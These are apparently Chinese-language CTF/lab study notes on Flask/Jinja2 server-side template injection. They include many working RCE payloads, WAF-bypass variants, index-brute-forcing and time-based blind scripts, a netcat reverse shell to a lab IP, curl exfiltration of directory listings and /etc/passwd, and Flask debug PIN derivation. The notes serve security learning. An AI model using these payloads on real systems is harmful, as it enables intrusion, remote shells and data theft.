SSTI基础
flask的ssti
模板引擎+注入
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
常见的模板引擎
PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado
由于渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入.
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量,也可以执行语句eg:{% set a='mixian' %}
行声明 ## 可以有和{%%}相同的效果
前置知识
搭建靶场
改一下镜像源
cd etc/docker
vim docker.json
拉取网上的ssti靶场的镜像
docker pull mcc8624/flask_ssti:last
生成容器
docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
查看所有容器
docker ps -a
关闭容器
docker stop
开启容器
docker start
地址
http:IP:18080
SSH
用户名:root 密码:P@ssword
——————————————————————————————————————————————
安装venv
apt update
apt install python3.10-venv
创建venv环境安装flask
cd /opt 选择路径
python -m venv flask3 创建名为flask1的venv环境
ls
cd flask3 包含所有python组件
ls
插曲:
直接vim demo.py
写入print("this is test") 在/opt下创建demo.py
再运行 python3 demo.py 直接使用python是系统的组件
这是在物理主机上运行python3
如何在python虚拟环境中执行呢
方法一:绝对路径
/opt/flask3/bin/python3.py demo.py
方法二:进入flask3虚拟环境
cd flask3
source .bin/activate
python3 demo.py
deactivate 可以退出虚拟环境
所以怎么在python虚拟环境中装flask呢?
使用方法二
cd /opt/flask3
source .bin/activate 进入虚拟环境
pip3 install flask
python3 >>>import flask >>>quit()
flask应用搭建
模板引擎使用Jinja2
python可直接使用flask启动一个web服务页面
cd /opt/flask3
source ./bin/activate
vim demo.py
写入以下代码:
from flask import Flask #启动flask模块,创建一个Flask类
app = Flask(__name__) #__name__是系统变量相当于php里的魔术方法,指的是本py文件的文件名demo.py
@app.route('/mixian') #路由,基于浏览器输入的路径寻址
def hello():
return "hello mixian"
@app.route('/mzc')
def ho():
return "hello mzc"
if __name__=='__main__': #只能被python直接运行,而不能被作为组件或模块被调用
app.run(host='0.0.0.0',debug=True,port=666) #debug=True启动自动报错原因,host='0.0.0.0'使其不仅
可被127.0.0.1访问,也可被其他主机访问,port可以改端口,不加
port就默认为5000端口
flask变量规则
格式化字符串
127.0.0.1:666/hello/动态变量
cd /opt/flask3
source ./bin/activate
vim demo.py
写入以下代码:
from flask import Flask
app = Flask(__name__)
@app.route('/mixian/<name>')
def hello(name): #传参
return "hello %s" % name #'%s'使格式化字符串;'%d'接收整数;'%f'接收浮点数
@app.route('/int/<int:postID>')
def id(postID):
return " %d " % postID
if __name__=='__main__':
app.run(host='0.0.0.0',debug=True,port=666)
变量传参方法
@app.route('login',methods = ['POST' , 'GET'])
def login():
if request.method == 'POST':
print(1)
user=request.form['ben']
return redirect(url_for('success',name=user)) #重定向
else:
print(2)
user=request.args.get('ben')
return redirect(url_for('success',name=user))
flask模板
视图函数的作用是生成请求的响应
模板可以使静态html页面显示动态的内容
视图函数
只负责业务逻辑和数据处理,模板
取到视图函数的数据结果来进行展示
这样就把处理业务逻辑
和返回响应内容
分开进行,节省开发成本
两个视图函数:
render_template:渲染文件
加载html文件。默认文件路径在templates目录下
往模板中传入数据
render_template_string:渲染文字
渲染字符串,直接定义内容
模板引擎
jinja2、
模板注入漏洞成因分析
flask漏洞
代码不严谨导致SSTI
可能造成任意文件读取和RCE
漏洞演示
下面的代码不会产生ssti漏洞
//有时间自己打一打
此时传参 ?var={{77}} 回显仍是77
下面的代码会产生ssti漏洞
此时传参?var={{7*7}} 回显是49,说明被当成代码指令执行了
怎么判断模板类型:
绿线表示当作代码执行,回显49或者回显ab或者回显azb,红线表示未被执行,输入什么回显什么
类的继承关系和魔术方法
父类和子类
所有的数据类型最终的父类都是object
__class__当前类
__base__父类
.**base.base** 父类的父类
__mro__罗列全部父类
subclasses()罗列父类下的 全部子类
继承关系代码演示
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C ()
print(c.__class__) #当前类C <class '__main__.C'>
print(c.__class__.__base__) #当前类C的父类B <class '__main__.B'>
print(c.__class__.__mro__) #全部父类 (<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(c.__class__.__mro__[1].__subclasses__()) #父类B的全部子类 [<class '__main__.C'>, <class '__main__.D'>]
print(c.__class__.__mro__[1].__subclasses__()[1]) #调用D类 <class '__main__.D'>
其他魔术方法
**init** 查看类是否重载,只有重载的才能直接用,如出现wrapper字眼,说明未重载
**globals** 函数以字典的形式返回当前对象的全部全局变量
{{".__class__.__base__.__subclasses__()}}
找到所有可用类,复制到Notpad++,把逗号','替换成'/n',然后查找常用注入模块的位置
或者直接搜就行
比如os._wrap_close对应118
{{".__class__.__base__.__subclasses__()[117]}}
//这里不写118,写117,是因为从0开始
{{".__class__.__base__.__subclasses__()[117].__init__}}
//只要不出现wrapper字样就重载了
{{".__class__.__base__.__subclasses__()[117].__init__.__globals__}}
//看有哪些函数可以用popen(有回显),system,eval
{{".__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
常用注入模块利用
文件读取:'_frozen_importlib_external.FileLoader'类
使用方法: ["get_data"](0,"/flag")
通过调用get_data函数,传入参数0和文件路径
脚本找编号
import requests
url=input('请输入URL链接:')
for i in range(500):
data ={"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code ==200:
if '_frozen_importlib_external.FileLoader' in response.text:
print('success!!!!')
print("查找的子类的编号是:",i,"-->",data)
except:
pass
Payload:
code={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/flag")}}
code={{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0,"/flag")}}
code={{().__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/flag")}}
有时候flag在配置文件内?name={{config}}
内建函数eval命令执行
内建函数:python在执行脚本时自动加载的函数
python脚本查看可利用内建函数eval的模块
#POST提交“name”的值
import requests
url=input('请输入url:')
for i in range(500):
data={
"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'eval' in response.text:
print("success!!!")
print("查找子类所在编号是:",i)
except:
pass
Payload:
?name={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
除了popen也可以使用system
os模块执行命令
通过其他函数直接调用os模块
config,url_for,lipsum
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
#这里的os可以不用中括号,直接点连接,就像下面这样
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('cat /flag').read()}}
{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}
数据外带
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://vps:2333/ -d `ls /|base64`') %}1{% endif %}
通过已加载os模块的子类
脚本找os.py
#POST提交“name”的值
import requests
url=input('请输入url:')
for i in range(500):
data={
"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'os.py' in response.text:
print("success!!!")
print("查找子类所在编号是:",i)
except:
pass
?name={{().__class__.__base__.__subclasses__()[426].__init__.__globals__['os'].popen('ls /').read()}}
直接使用os._wrap_close类中的 popen 函数
脚本找一下os._wrap_close模块所在位置
import requests
url="http://192.168.142.128:18080/flasklab/level/5"
for i in range(500):
data={
"code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
}
try:
re=requests.post(url,data=data)
if re.status_code==200:
if "os._wrap_close" in re.text:
print("success!!!")
print("查找子类所在编号是:",i,"-->",data)
break
except:
pass
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
importlib类执行命令
可加载第三方库,使用load_module加载os
import requests
url="http://192.168.142.128:18080/flasklab/level/1"
for i in range(500):
data={
"code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
}
try:
re=requests.post(url,data=data)
if re.status_code==200:
if "_frozen_importlib.BuiltinImporter" in re.text:
print("success!!!")
print("查找子类所在编号是:",i,"-->",data)
break
except:
pass
Payload:
code={{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat /flag").read()}}
linecache函数执行命令
用于读取任意文件的任意一行,也引入了os模块
脚本查找linecache位置
import requests
url="http://192.168.142.128:18080/flasklab/level/1"
for i in range(500):
data={
"code":'{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__}}'
}
try:
re=requests.post(url,data=data)
if re.status_code==200:
if "linecache" in re.text:
print("success!!!")
print("查找子类所在编号是:",i,"-->",data)
break
except:
pass
Payload:
code={{().__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("cat /flag").read()}}
code={{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("cat /flag").read()}}
subprocess.Popen类执行命令
python2.4之后使用subprocess模块来产生子进程,意在替代os.popen、os.system
python查找subprocess.Popen
import requests
url="http://192.168.142.128:18080/flasklab/level/1"
for i in range(500):
data={
"code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
}
try:
re=requests.post(url,data=data)
if re.status_code==200:
if "subprocess.Popen" in re.text:
print("success!!!")
print("查找子类所在编号是:",i,"-->",data)
break
except:
pass
Payload:
code={{().__class__.__base__.__subclasses__()[200]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}
使用for循环绕过对下角标的要求
for循环 诞生了
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
利用python的字符串序列的特性进行绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}
利用for机制不用下角标 直接执行命令<br />
{%%}绕过双大括号
{{}}
提示有waf
{%if 2>1%}benebn{%endif%}
判断语句可以正常执行
{%if ''.__class__"%}benebn{%endif%}
有回显benben说明 ''.__class__有内容
{% if "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__"popen".read() %} mixian {% endif %}
有回显benben说明,命令可以被执行
下面是找编号的python脚本,类似于sql的布尔盲注
#POST提交“code”的值,查找popen函数编号
import requests
url=input('请输入url:')
for i in range(500):
data={
"code":'{% if "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("ls /").read() %} mixian {% endif %}'
}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'mixian' in response.text:
print("success!!!")
print("查找子类所在编号是:",i,"-->",data)
except:
pass
但是怎么回显出内容呢,用print()
{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd).read()) %}
{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls /").read()) %}
{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()) %}
无回显SSTI注入
shell反弹
脚本:
#连接kali虚拟机的7777端口
import requests
url=input('请输入url:')
for i in range(500):
data={
"code":'{{ "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("netcat 192.168.142.128 7777 -e /bin/bash").read()}}'
}
try:
response=requests.post(url,data=data)
#print(response.text)
except:
pass
kali监听7777
nc -lvp 7777
带外注入
此处使用wget方法来带外想要知道的内容,也可以用dnslog或者nc
import requests
url=input('请输入url:')
for i in range(500):
data={
"code":'{{ "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("curl http://192.168.142.128/`cat /etc/passwd`").read()}}'
}
try:
response=requests.post(url,data=data)
#print(response.text)
except:
pass
同时kali开启一个python http监听
python3 -m http.server 80
但是这种方法不显示大括号
纯盲注
首先找到内建函数eval
脚本:
import requests
import time
# 转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入 POST 请求参数:")
for i in range(500):
# 发送请求并记录开始时间
start_time = time.time()
data = {request_parameter: " {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}
# post data 也可以改成这样,原因见{{}}过滤的绕过方法
# {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
response = requests.post(url, data=data)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
# 如果响应时间大于 3s ,则绿色字体输出在控制台
if response_time >= 3:
print("\033[32m bingo: "+str(i)+"\033[0m",end="\t")
# 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
else:
print("\033[31mnonono: "+str(i)+"\033[0m",end="\t")
然后爆破flag
import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
for i in range(1000):
low = 0
high = len(cs)
while low<high:
index = low + (high - low) // 2
start_time = time.time()
# request_parameter 为 post 传入数据的参数名,根据实际情况输入
data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" }
response = requests.post(url, data=data)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
if response_time >=2 and response_time<=4:
flag+=cs[index]
print(cs[index],end='\t')
low = high
elif response_time>4:
low = index+1
else:
high = index
print("\n"+flag)
getitem或.pop绕过中括号过滤
getitem()是python的一个魔术方法
对字典使用时,传入字符串,返回字典相应键所对应的值
当对列表使用时,传入整数返回列表对应索引的值
简而言之返回键值对的键值
code={{"".__class__.__base__.__subclasses__()[117]}}
使用getitem绕过
code={{""._class__.__base__.__subclasses__().__getitem__(117)}}
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过
request或者dict+join绕过单双引号过滤
request在flask中可与访问基于HTTP请求传递的所有信息,此request并非python的函数,而是在flask内部的函数/
request.args.key
获取get传入的key的值
request.values.x1
所有参数
request.cookies
获取cookies传入参数
request.headers
获取请求头请求参数
request.form.key
获取post传入参数
(Content-Type:applicaation/x-www-form-urlencoded multipart/form-data)
request.data获取post传入参数(Content-Type:a/b)
request.json
获取post传入json参数(Content--Type:application/json)
写个脚本找一下os._wrap_close模块所在位置
import requests
url="http://192.168.142.128:18080/flasklab/level/5"
for i in range(500):
data={
"code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
}
try:
re=requests.post(url,data=data)
if re.status_code==200:
if "os._wrap_close" in re.text:
print("success!!!")
print("查找子类所在编号是:",i,"-->",data)
break
except:
pass
我们正常的语句
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
是需要用到引号的
会提示waf过滤掉了
通过request.args.key传入参数来绕过引号
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cat).read()}}
使用POST
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cat).read()}}&popen=popen&cat=cat /flag
使用cookie注入
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.popen](request.cookies.cat).read()}}
注意:cookie里的参数要用分号;隔开
方法二:使用dict+join
{%set a=dict(popen=a)|join%}
{%set b=dict(whoami=a)|join%}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[a](b).read()}}
过滤器绕过下划线过滤
一、过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。
flask常用过滤器
length():获取一个序列或者字典的长度并将其返回;
int():将值转换为int类型,
float():将信转换为float类型,
lower():将字符串转换为小写,
upper():将字符串转换为大写,
reverse():反转字符串;
replace(value,old,new):将value中的old替换为new;
Iist():将变量转换为列表类型;
string():将变量转换成字符串类型;
join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用,
attr():获取对象的属性。
二、attr()绕过下划线过滤
1.使用request方法
GET提交:?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__
POST提交:code={{""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(117)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)('popen')('cat /flag')|attr('read')()}}
#用过滤器的话必须全部用管道符连接起来,不能再使用.连接了
比如最后的.read()=>|attr('read')()
2.使用unicode编码代替下划线
code={{()|attr("__class__")|attr("__base__")|attr("__subclasses__")(117)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("ls")|attr("raed")()}}
3.十六进制代替下划线__
code={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat /flag').read()}}
4.base64编码
5.格式化字符串
中括号、attr()绕过点过滤
1.用中括号[]代替点
python语法除了可以使用点'.'来访问对象属性外,
还可以使用中括号'[]'。
code={{()["__class__"]["__base__"]["__subclasses__"]()[117]["__init__"]["__globals__"]['popen']('cat /flag')["read"]()}}
2.用attr()绕过
payload语句中不会用到点'.'和中括号'[]'
code={{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(117)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("cat /flag")|attr("read")()}}
绕过关键字过滤
过滤"clsaa、arg、from、value、ini、global"等关键字
以"class"为例
1、字符编码(前面课程介绍过,就不再提了)
2、最简单拼接"+": 'cl'+'ass'
Payload:
code={{()['__cl'+'ass__']['__bas'+'e__']['__subcla'+'sses__']()['__getitem__'](117)['__ini'+'t__']['__globa'+'ls__']['pop'+'en']('cat /flag')['read']()}}
3、使用Jinjia2中的"~"
进行拼接:
{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
Payload:
code={%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__globa'%}{%set j='ls__'%}{%set k='pop'%}{%set l='en'%}{{()[a~b][c~d][e~f]()[117][g~h][i~j][k~l]('cat /flag')['read']()}}
4、使用过滤器(reverse反转、replace替换、join拼接等):
{%set a="__ssalc__"|reverse%}{{a}}
dict():用于创建一个字典
join():将一个序列中的参数值拼接成字符串
{%set a=dict(benben=1)%}{{a}}#创建字典a,键名benben,键值1
{%set a=dict(__cl=1,ss__=2)|join%}#join读键名拼接后展示,输出:__class__
Paylaod:
reverse反转:
code={%set a='__ssalc__'|reverse%}{%set b='__esab__'|reverse%}{%set c='__sessalcbus__'|reverse%}{%set d='__tini__'|reverse%}{%set e='__slabolg__'|reverse%}{%set f='nepop'|reverse%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
replace替换:
code={%set a= '__claee__'|replace("ee","ss")%}{%set b= '__babb__'|replace("bb","se")%}{%set c= '__subclaeees__'|replace("ee","ss")%}{%set d= '__inia__'|replace("ia","it")%}{%set e= '__globela__'|replace("ela","als")%}{%set f= 'popan'|replace("pan","pen")%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
join拼接:
code={%set a=dict(__cla=a,ss__=a)|join%}{%set b=dict(__ba=b,se__=b)|join%}{%set c=dict(__subcl=c,asses__=c)|join%}{%set d=dict(__ini=d,t__=d)|join%}{%set e=dict(__globa=e,ls__=e)|join%}{%set f=dict(po=f,pen=f)|join%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
code={%set a=['__cla','ss__']|join%}{%set b=['__ba','se__']|join%}{%set c=['__subcl','asses__']|join%}{%set d=['__ini','t__']|join%}{%set e=['__globa','ls__']|join%}{%set f=['po','pen']|join%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
5、利用python的chr():
查找chr函数的编号脚本:
#POST提交“name”的值
import requests
url=input('请输入url:')
for i in range(500):
data={
"name":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__.__builtins__.chr}}"
}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'os.py' in response.text:
print("success!!!")
print("查找子类所在编号是:",i)
except:
pass
可以使用chr函数url_for.__globals__['__builtins__'].chr
或者a.__init__.__globals__['__builtins__'].chr
{%set chr=url_for.__globals__['__builtins__'].chr
%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(
115)%2bchr(95)%2bchr(95)]}}
%2b是+的url编码,使用%2b拼接起来,自己查ascii码表进行构造
length过滤器或者dict+count绕过数字过滤
通过计算字符串的长度出现整型数字,可以进行加减乘除
{%set a='aaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length%}
这就相当于10*12-3=117
Payload:
code={%set a='aaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls /').read()}}
也可以用count
{{(dict(e=a)|join|count)}}
解析出来就是1
获取config文件
没有过滤的话最简单的话:
{{config}}
flask内置函数与内置对象
flask内置函数:
lipsum 可加载第三方库
url_for 可返回url路径
get_flashed_message 可获取信息
python内置对象:
cycler、joiner、namespace、config、request、session
可利用已加载内置函数或对象寻找被过滤字符串,可利用内置函数调用current_app模块进而查看配置文件
调用current_app相当于调用flask:
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
内置函数获取空格百分号下划线
获取任意字符
{%set zifu=(config|string|list)%}{{zifu}}
脚本:
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
效果如下:
获取斜杠:
{%set xg=(config|string|list).pop(279)%}{{xg}}
获取下划线和空格:
{%set ben=(lipsum|string|list)%}{{ben}}
#空格是9,下划线是18
空格:{%set ben=(lipsum|string|list).pop(9)%}{{ben}}
下划线:{%set ben=(lipsum|string|list).pop(18)%}{{ben}}
下面的同理
{%set ben=({}|select()|string())%}{{ben}}
{%set ben=({}|select|string|list)%}{{ben}}
获取空格:
{%set ben=(self|string()|list).pop(18)%}{{ben}}
获取百分号:
{%set ben=(self|string|urlencode|list).pop(0)%}{{ben}}
接下来使用list()函数,通过控制序号拿到空格,这里空格对应的是第九,从0开始计数
{%set ben=(lipsum|string|list)%}{{ben[9]}}
或者: {%set ben=(lipsum|string)[9]%}{{ben}}
也可以:{%set ben=(lipsum|string|list)[9]%}{{ben}}
如果中括号被过滤了可以使用pop
{%set ben=(lipsum|string|list).pop(9)%}{{ben}}
混合过滤
实例一:WAF过滤 '
, "
,request
, .
, []
,空格
引号绕过:request.args.var1、dict+join拼接
request被ban了,就用dict+join拼接
点绕过:中括号、attr()函数
中括号绕过:getitem()但是绕不过点
空格绕过:
{%set kg={}|select()|string()|attr(d)(10)%}
综合就是:dict+join拼接+attr()函数
{%set a=dict(__class__=a)|join%}
{%set b=dict(__base__=a)|join%}
{%set c=dict(__subclasses__=a)|join%}
{%set d=dict(__getitem__=a)|join%}
{%set e=dict(__init__=a)|join%}
{%set f=dict(__globals__=a)|join%}
{%set g=dict(popen=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)}}
到这里只实现了目标Payload的一部分: {{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']
现在还缺少一段代码: ('cat /flag').read()}}
绕过空格过滤:
{%set kg={}|lipsum|string|list|attr(d)(9)%}
将cat,空格,flag三部分拼接起来
{%set i=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
所以最终Payload:
{%set a=dict(__class__=a)|join%}
{%set b=dict(__base__=a)|join%}
{%set c=dict(__subclasses__=a)|join%}
{%set d=dict(__getitem__=a)|join%}
{%set e=dict(__init__=a)|join%}
{%set f=dict(__globals__=a)|join%}
{%set g=dict(popen=a)|join%}
{%set kg={}|select()|string()|attr(d)(10)%}
{%set i=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set r=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
实例二:WAF过滤 '
, "
, _
,0-9
, .
, \
, []
,空格
,request
数字的过滤:
{%set nine=dict(aaaaaaaaa=a)|join|length%}{{num}}
{%set nine=dict(aaaaaaaaa=a)|join|count%}{{num}}
{%set eighteen=num+num%}{{num,num2}}
下划线和空格的过滤:
{%set xhx=(lipsum|string|list)%}
这里第9位是空格,第18位是下划线
{%set xhx=(lipsum|string|list)|attr('pop')(18)%}
{%set kg=(lipsum|string|list)|attr('pop')(9)%}
用'pop'代替'__getitem__'来绕过下划线
Paload原型:
{{lipsum.__globals__['os'].popen('cat flag').read()}}
#此命令包含下划线最少
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}
#绕过中括号
下一步就是自己构造出数字,下划线,空格,再下一步是使用dict+join绕过引号
Payload:
{%set nine=dict(aaaaaaaaa=a)|join|length%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}
python debug pin码计算
对于有文件包含或文件读取的漏洞,且开启debug功能
想要执行指令还需要输入pin码
输入pin码后可以输入命令执行
可尝试本地构造pin码进入控制台
pin码主要由六个参数构成
1、username->执行代码时候的用户名
2、getattr(app,"name",app.class.name)-->固定值默认Flask
3、modname->固定值默认flask.app
4、getattr(mod,"file",None) -->app.py文件所在路径
5 str(uuid.getnode()) -->电脑上mac地址
6、get_machine_id() -->根据操作系统不同,有四种获取方式
1、获取用户名username
import getpass
username getpass.getuser()
print(username)
生成username
2、获取app对象name属性
getattr(app,"name",type(app).name)
from flask import Flask
app=Flask(name)
print(getattr(app,"__name__",type(app).__name__))
获取的是当前app对象的__name__属性,
若不存在则获取类的__name__属性,
默认为Flask
3、获取app对象module属性
import sys
from flask import Flask
import typing as t
app=Flask(__name__)
modname =getattr(app,"__module__",t.cast(object,
app).__class__.__module__)
#取的是app对象的__module__属性,若不存在的话取类的__module__属性,默认为flask.app
mod=sys.modules.get(modname)
print(mod)
4、mod的__file__属性app.py文件所在路径
import sys
from flask import Flask
import typing as t
app=Flask(__name__)
modname=getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod=sys.modules.get(modname)
print(getattr(mod,"__file__",None))
输出:C:\Users\mcc06\Downloads\sstilabs-master\venv\lib\site-packages\flask\app.py
5、uuid
实际上就是当前网卡的物理地址的整型
import uuid
print(str(hex(uuid.getnode())))
6、get_machine_id获取
Python flask版本不同,读取顺序也不同
Linux:
/etc/machine-id,/proc/sys/kernl/random/boot_id #前者固定后者不固定
docker:
/proc/self/cgroup #正则分割
macOS:
ioreg -c IOPlatformExpertDevice -d 2 #"serial-number'"=<{ID}部分
windows:
